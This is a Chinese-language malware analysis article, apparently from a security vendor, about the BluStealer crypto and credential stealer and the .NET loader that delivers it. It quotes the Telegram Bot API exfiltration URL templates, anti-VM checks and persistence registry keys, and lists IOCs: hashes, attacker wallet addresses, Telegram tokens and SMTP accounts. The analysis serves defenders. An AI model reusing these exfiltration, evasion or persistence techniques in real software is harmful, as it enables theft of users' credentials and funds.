集团新闻

BluStealer:从 SpyEx 到 ThunderFox

BluStealer:从 SpyEx 到 ThunderFox

概述

BluStealer 是一种加密货币窃取工具、键盘纪录器和文件上传器,使用 Visual Basic 编写,并加载 C#NET 黑客工具以窃取凭证。这个家族最早是在 5 月由 @Jamesinthebox 提到的,当时称其为 a310logger。事实上,a310logger 只是出现在该NET 组件字串文档中的一个命名空间。大约在七月, Fortinet 将同一家族称为 新型恶意软件,而最近, GoSecure 再次提到它并称其为 BluStealer。本文中,我们决定使用 BluStealer 这个名称,同时对这个家族的运作及细节提供更全面的视角。

BluStealer:从 SpyEx 到 ThunderFox

a310logger 只是 BluStealer 的 NET 组件中多个 C# 黑客工具之一。

BluStealer 主要通过恶意邮件活动传播。我们发现的大量样本来自一个特定的活动,该活动通过使用一个独特的 NET 加载器而明显可识别。此加载器的分析在本 部分 中提供。以下是两个 BluStealer 恶意邮件样本。第一个是假的 DHL 发票,使用英文撰写。第二个是一封来自墨西哥金属公司 General de Perfiles 的假消息,使用西班牙文。这两个样本均包含 iso 附件和下载网址,邮件中声称收件人需要打开并填写的表格以解决问题。这些附件包含了打包了 NET 加载器的恶意执行文件。

在下图中,我们可以看到 BluStealer 活动在 2021 年 9 月 10 到 11 日间有明显的激增。

每日受到 BluStealer 保护的 Avast 用户数量

BluStealer 分析

如前所述,BluStealer 由用 Visual Basic 编写的核心和 C# NET 内部有效载荷组成。这两个组件在样本之间的变化很大,显示出恶意软件制作者可以分别自定义每个组件。VB 核心重用了大量来自 2004 年的 SpyEx 项目的代码,因此在 5 月的早期样本中包含了 “SpyEx” 字串。然而,恶意软件作者增添了窃取加密货币钱包数据、替换剪贴板中存在的加密货币地址、查找并上传文档文件、通过 SMTP 和 Telegram Bot API 外泄数据,以及反分析/反虚拟机技巧的能力。另一方面,NET 组件主要是一个凭证窃取器,从几个开源 C# 黑客工具如 ThunderFox、ChromeRecovery、StormKitty 和 firepwd 中拼凑而成。请注意,并非所有提到的功能都在单个样本中可用。

混淆

BluStealer 中字串的解密范例

每个字串都使用一个唯一的密钥进行加密。根据样本,可能的加密算法包括 XOR 密码、RC4,或来自这个 repo 的 WinZip AES 实现。以下是自订的 AES 算法的 Python 示范:

一个用于帮助在 IDA 中解密所有字串的工具可以在 这里 获得。

反虚拟机策略

BluStealer 检查以下条件:

如果 Win32ComputerSystem WMI 类的属性 Model 包含:

VIRTUA (没有 L)、VMware 虚拟平台、VirtualBox、Microsoft Corporation、VMware、vmw

如果 Win32BaseBoard WMI 类的属性 SerialNumber 包含 0 或 None

如果以下文件存在:

CWindowsSystem32driversvmhgfssys

CWindowsSystem32driversvmmemctlsysCWindowsSystem32driversvmmousesysCWindowsSystem32driversvmrawdsksysCWindowsSystem32driversVBoxGuestsysCWindowsSystem32driversVBoxMousesysCWindowsSystem32driversVBoxSFsysCWindowsSystem32driversVBoxVideosys

如果满足这些条件中的任何一个,BluStealer 将停止执行。

NET 组件

BluStealer 从资源部分检索 NET 有效载荷并使用上述 WinZip AES 算法通过硬编码的密钥进行解密。然后它执行以下命令行工具之一以启动 NET 执行档:

CWindowsMicrosoftNETMicrosoftNETFrameworkv4030319AppLaunchexeCWindowsMicrosoftNETFrameworkv2050727InstallUtilexe

VB 核心载入的两个 NET 执行档的例子。被窃取的凭证写入 “credentialstxt”。

NET 组件不与 VB 核心以任何方式通信。它窃取流行浏览器和应用程序的凭证,然后将其写入磁碟上的选定位置,使用指定文件名例如 credentialstxt。VB 核心将查找这个投放,并在之后外泄。这个机制在下一个 部分 中会有更好地解释。

NET 组件仅仅是下面列出的开源 C# 项目的拷贝。你可以在他们的 GitHub 网页找到更多信息:

ThunderFox githubcom/V1V1/SharpScribblesChromeRecovery githubcom/Elysian01/ChromeRecoveryStormKitty githubcom/swagkarna/StormKittyFirepwd githubcom/lclevy/firepwd

信息窃取器

VB 核心和 NET 组件将被窃取的信息写入 appdataMicrosoftTemplates 文件夹。每种类型的窃取数据都会写入不同的文件,并具有预定义的文件名。 VB 核心设置不同的计时器以监控每个文件并跟踪它们的文件大小。当文件大小增加时,VB 核心会将其发送给攻击者。

处理程序 任意文件名 被窃取的信息 任意计时器 NET 组件 credentialstxt 存储在流行的网页浏览器和应用程序中的凭证,以及系统配置文件信息 80 NET 组件 Cookieszip 存储在 Firefox 和 Chrome 浏览器中的 Cookie 60 VB 核心 CryptoWalletszip 通常包含以下加密货币钱包的私钥的数据库文件:ArmoryDB、Bytecoin、Jaxx Liberty、Exodus、Electrum、Atomic、Guarda、Coinomi 50 VB 核心 FilesGrabberFileszip 小于 25MB 的文档文件txt、rtf、xlxs、doc(x)、pdf、utc 30 VB 核心 其他 截图、键盘记录、剪贴板数据 1 或 None

BluStealer VB 核心还检测剪贴板中复制的加密地址,并用攻击者预定义的地址替换它们。综合起来,它可以支持以下地址:比特币、比特币现金、以太坊、门罗币、莱特币。

数据外泄

BluStealer 通过 SMTP重用 SpyEx 的代码和 Telegram Bot 外泄被窃取的数据,因此缺少伺服器端代码。Telegram 令牌和 chatid 是硬编码的,用以执行两个命令:sendDocument 和 sendMessage,如下所示:

https//apitelegramorg/bot[BOT TOKEN]/sendMessagechatid=[MYCHANNELID]amptext=[MYMESSAGETEXT]https//apitelegramorg/bot[BOT TOKEN]/sendDocumentchatid=[MYCHANNELID]ampcaption=[MYCAPTION]

SMTP 流量是使用 Microsoft MimeOLE 规范构建的。

SMTP 内容示例

NET 加载器 演示

这个 NET 加载器已被 Formbook、Agent Tesla、Snake Keylogger、Oski Stealer、RedLine 和 BluStealer 等家族使用。

示范样本:19595e11dbccfbfeb9560e36e623f35ab78bb7b3ce412e14b9e52d316fbc7acc

第一阶段

NET 加载器的第一阶段具有通用的混淆外观,且未被 de4dot 匹配到任何已知的 NET 混淆器。不过,一个可识别的特征是资源中包含的单个加密模组:

通过寻找此模组在代码中的引用,我们可以迅速定位它被解密并加载到内存中的位置,如下所示:

在加载下一个阶段之前,该加载器可能会检查互联网连接或通过启动文件夹和注册表运行键设置持久性。一些示例包括:

CUsersAppDataRoamingMicrosoftWindowsStart MenuProgramschromechromexeHKEYCURRENTUSERSoftwareMicrosoftWindowsCurrentVersionRunchromCUsersAppDataRoamingMicrosoftWindowsStart MenuProgramspaintpaintexeHKEYCURRENTUSERSoftwareMicrosoftWindowsCurrentVersionRunpaintHKEYCURRENTUSERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartupHKEYCURRENTUSERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartupCUsersAppDataRoamingMicrosoftWindowsStart MenuProgramsnotenotepadexe

在我们仔细检查的样本中,该模组是使用 RC4 解密的,且使用硬编码的密钥。该密钥通过字符串提供者函数进行混淆。获取有效载荷的最佳方法是断点设置在与加密模组引用相同命名空间中的尾部跳转中。在大多数情况下,通常是对外部函数 Data() 的调用。以下是来自不同样本的示例:

第二阶段

在第二阶段的 Data() 函数内,包含两个奇怪的资源文件及其获取函数

第二阶段的函数调用和字串被混淆,因此“分析”功能可能没有多大帮助。然而,有两个资源文件看起来不太对劲,这使我们可以作为切入点。它们的获取函数可以轻松地在 Properties 命名空间的 Resources 类中找到。在 0x17000003 的 Ehiuuvbfrnprkuyuxqv 获取函数上设置断点,将我们带到一个函数,该函数经过 gzip 解压缩,显示出一个 PE 文件。

Ehiuuvbfrnprkuyuxqv 被 gzip 解压缩

另一方面,在 0x17000004 的 Ltvddtjmqumxcwmqlzcos 获取函数上设置断点将我们留在 Data() 函数中,其中所有函数调用都是通过将字段传入 CompareComparator 函数并像方法一样调用。

ComareComparator 用于调用其中一个参数

为了理解发生了什么,我们必须知道这些字段代表什么函数。根据之前处理 MassLogger 的经验,字段到方法 映射文件很可能嵌入在资源部分,在这个案例中,“DicAttr”的命名是一个强大的提示。

注意,找到这些字段映射到哪里是非常重要的,因为“步入”可能无法直接让我们到达指定的函数。一些映射的函数在字段方法绑定过程中会被修改。因此在调用对应字段时,DynamicResolverGetCodeInfo() 将在运行时构建目标函数。尽管函数修改只包含用等价的运算码替换某些运算码,而保持内容相同,这对于在动态分析过程中混淆函数调用仍然是足够的。

DicAttr 被翻译成字段方法字典

寻找 “DicAttr” 字串将我们引向映射发生的函数。字典值代表将被绑定的方法令牌,键值是相应的字段。至于方法令牌以 0x4A 开头,将其替换为 0x6 以获取正确的方法。这些是为了混淆目的而选择的函数。

随著所有函数调用的揭示,我们可以理解 Data() 方法内部的运作。首先,它加载了一个新组件,即解压缩后的 Ehiuuvbfrnprkuyuxqv。然后,它尝试创建一个名为 SmartAssemblyQueuesMapFactoryQueue 的对象实例。为了揭示这个谜团,将调用名为 “RegisterSerializer” 的方法,并将另一个资源文件的数据作为参数。在此时,我们可以假设该函数的目的是解密另一个资源文件并执行它。

进入新加载的模组 (af43ec8096757291c50b8278631829c8aca13649d15f5c7d36b69274a76efdac),我们可以看到 SmartAssembly 水印和所有标注的混淆功能如下所示。

解压缩 Ehiuuvbfrnprkuyuxqv 的概览。在这里,你可以找到方法 RegisterSerializer 位于 SmartAssemblyQueuesMapFactoryQueue 内

解包过程与前一层没有太大区别,但增加了代码虚拟化的开销。从静态分析中,我们的 RegisterSerializer 看起来可能是空的,但一旦 SmartAssemblyQueues 类被实例化,该方法就会正确加载:

当进行静态分析时,函数内容

在实例化之后的函数内容。注意参数 “res” 代表第二个资源文件的数据

快进到 res 被处理的地方,位于 RegisterSerializer() 里

幸运的是,这段代码看起来相当直接。变量 “res” 持有加密数据,并传递给名为 RulesListenerIncludeState 的函数。再次强调,获取字段令牌到方法令牌映射文件的关键在于很可能位于资源部分。这次寻找 GetManifestResourceStream 函数将帮助我们迅速找到设置映射的代码部分:

资源文件 ParamsRules 被解释为字段方法字典

RulesListenerIncludeState 拥有令牌 0x04000220,该令牌映射到函数 0x60000A3。在这个函数内,解密算法平淡地揭示出来:反向和解压。

从 Ltvddtjmqumxcwmqlzcos 中获得的数据被反转

然后其被解压并执行

事实上,所有样本都可以简单地通过 解压反向的资源文件 来解包,嵌入 第二阶段 中。希望即使当这个算法被改变,我的详细演示仍然能在显示如何击败混淆技巧方面发挥作用。

结论

在这篇文章中,我们阐述了 BluStealer 的功能,并提供了一些工具来去混淆和提取其 IOC。我们还强调了它重复使用多个开源项目的代码。尽管仍然向磁碟写入数据,且没有适当的 C2 功能,BluStealer 仍然是一个可行的窃取工具。在本文的后半部分,我们展示了如何通过一个独特的 NET 加载器获取 BluStealer 样本和其他恶意软件。希望这些见解能让其他分析师在分类和分析 BluStealer 时更加轻松。

IOC:

完整的 IOC 列表可在 https//githubcom/avast/ioc/tree/master/BluStealer 查阅。

海鸥加速器安卓版

BluStealer

SHA256

678e9028caccb74ee81779c5dd6627fb6f336b2833e9a99c4099898527b0d4813151ddec325ffc6269e6704d04ef206d62bba338f50a4ea833740c4b6fe770ea49da8145f85c63063230762826aa8d85d80399454339e47f788127dafc62ac227abe87a6b675d3601a4014ac6da84392442159a68992ce0b24e709d4a1d20690

加密地址列表

比特币1ARtkKzd18Z4QhvHVijrVFTgerYEoopjLP (167227860 BTC)1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX (006755943 BTC)1MEf31xHgNKqyB7HEeAbcU6BhofMdwLE3r38atNsForzrDRhJoVAhyXsQLqWYfYgodd5bc1qrjl4ksg5h7p70jjtypr8s6cjpngzd3kerfj9rtbc1qjg3y4d4t6hwg6h22khknlxcstevjg2qkrxt6qu1KfRWVcShzwE2Atp1njogAqH8qodsif3pi3P6JnvWtubxbCxgPW7GAAj8u6CLV2h9MkY13vZcoMYRcKrDRDYUyH9Cd4kCRMZVjFkyn

比特币现金qrej5ltx0sgk5c7aygdsvt2gh7fq04umvusxhxl7wqqrzakt59udz893u2uuwtgrwrjj9dhtk0gc3m4m2sj5

以太坊0xd070c48cd3bdeb8a6ca90310249aae90a7f26303 (010 ETH)0x95d3763546235393B77aC188E5B08dD4Af68d89D0xcfE71c720b7E99e555c0e98b725919B7a69f8Bb0

门罗币地址46W5WHQG2B1Df9uKrkyuhoLNVtJouMfPR9wMkhrzRiEtD2PmdcXMvQt52jQVWKXUC45hwYRXhBYVjLRbpDu8CK2UN2xzenr43Q4G9CdM3iNbkwhujAQJ7TedSLxYQ8hJJHYqsqns7qz696gkPgMvUvDcDfZJ7bMzcaQeoSF86eFE2fL9njU59dQRfPHFnv

莱特币地址LfADbqTZoQhCPBr39mqQpf9myUiUiFrDBGLY5jmjdFnvgFjJET2wX5fVV6Gv89QdQRv3

Telegram 令牌:

1901905375AAFoPAvBxaWxmDiYbdJWHOdsUuObDY0pjs1989667182AAFx2Rti45m06IscLpGbHo8v4659Q8swfkQ

SMTP

andresgalarraga@sismodecom (smtp1and1com)info@starkgulfcom (mailstarkgulfcom)etopical@bojtaiclub (mailbojtaiclub)fernando@digitaldirectoes (smtpionoses)baerbelscheibll1809@gmailcomdashboard@grandamishabotru (shepherdmyhostcplcom)shan@farmfinncom (mailfarmfinncom)info@starkgulfcom (mailstarkgulfcom)

NET 加载器 SHA256:

ae29f49fa80c1a4fb2876668aa38c8262dd213fa09bf56ee6c4caa5d52033ca135d443578b1eb0708d334d3e1250f68550a5db4d630f1813fed8e2fc58a2c6d0097d0d1119fb73b1beb9738d7e82e1c73ab9c89a4d9b8aeed35976c76d4bad23c783bdf31d6ee3782d05fde9e87f70e9f3a9b39bf1684504770ce02f29d5b7e142fe72df91aa852b257cc3227329eb5bf4fce5dabff34cd0093f1298e3b5454e1c29ee414b011a411db774015a98a8970bf90c3475f91f7547a16a8946cd5a8181bbcc887017cc47015421c38703c9c261e986c3fdcd7fef5ca4c01bcf9970076956ea59b4a70d68cd05e6e740598e76e1205b3e300f65c5eba324bebb31d7e86322ebb240ba18119193412e0ed7b325af171ec9ad48f61ce532cc120418c8d59f2bfedb157a610b8e0b481697bb28123a5eabd2df64b814007298dffd5e65ace2dd1be91c6db4b52eab38b5409b39421613df0999176807d0a995c846465b38

标签为 cryptostealer,恶意软件分析,VisualBasic

分享:XFacebook